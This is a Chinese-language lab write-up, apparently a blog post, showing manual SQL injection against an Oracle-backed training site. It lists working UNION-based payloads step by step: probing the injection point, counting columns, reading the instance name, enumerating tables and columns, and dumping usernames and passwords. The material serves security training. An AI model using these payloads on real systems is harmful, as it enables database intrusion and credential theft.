Oracle手工注入

1.点击输入框下方的公告,进入到可sql注入界面

2.通过1=1和1=2可以判断注入点

?id=1 and 1=1   //显示正常

?id=1 and 1=2   //显示错误

检测到此处可以进行注入

3.判断列数利用order by

?id=1 order by 2   //显示正常

?id=1 order by 3   //显示错误

所以一共有两列

4. 进行回显点检测,Oracle在这里和MySQL是由区别的

Oracle在进行联合查询时,查询的字段点数据类型敏感,需要使用字符型的字段进行查询

查询语句为:

?id=1 union select 'null','null' from dual   //Oracle查询时必须使用from语句,这里还不知道表名,先用dual伪表进行测试。

这里得到两个回显点位如下

5.查询数据库名

使用语句:

-1 union select 'null',(select instance_name from V$INSTANCE) from dual

这里得到数据库名为XE

6.查询数据库表名

使用语句:

?id=-1 union select 'null',(select table_name from user_tables where rownum=1) from dual

这里得到第一张表名为LOGMNR_SESSION_EVOLVE$

第二张:?id=-1 union select 'null',(select table_name from user_tables where rownum=1 and table_name not in 'LOGMNR_SESSION_EVOLVE$') from dual

这里得到第二张表名为LOGMNR_GLOBAL$

第三张:?id=-1 union select 'null',(select table_name from user_tables where rownum=1 and table_name not in 'LOGMNR_SESSION_EVOLVE$' and table_name not in 'LOGMNR_GLOBAL$') from dual

这里得到第二张表名为LOGMNR_GT_TAB_INCLUDE$

以此类推,可以得到所有表,但太麻烦,所以 我们直接使用模糊查询like

语句:

?id=-1 union select 'null',(select table_name from user_tables where table_name like '%user%' and rownum=1) from dual

直接查询我们想要的user表

7. 查询数据库列名

使用语句:

?id=-1 union select 'null',(select column_name from user_tab_columns where table_name='sns_users' and rownum=1) from dual

更改参数得到数据库列名

8.查询数据库数据获取账号密码的字段内容

使用语句:

?id=-1 union select USER_NAME,USER_PWD from "sns_users" where rownum=1 and USER_NAME <> 'zhong' and USER_NAME not in 'hu'

得到mozhe的用户名和密码

9.将密码解密

得到密码为729533

登录后得到key,进行提交

  • 11
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值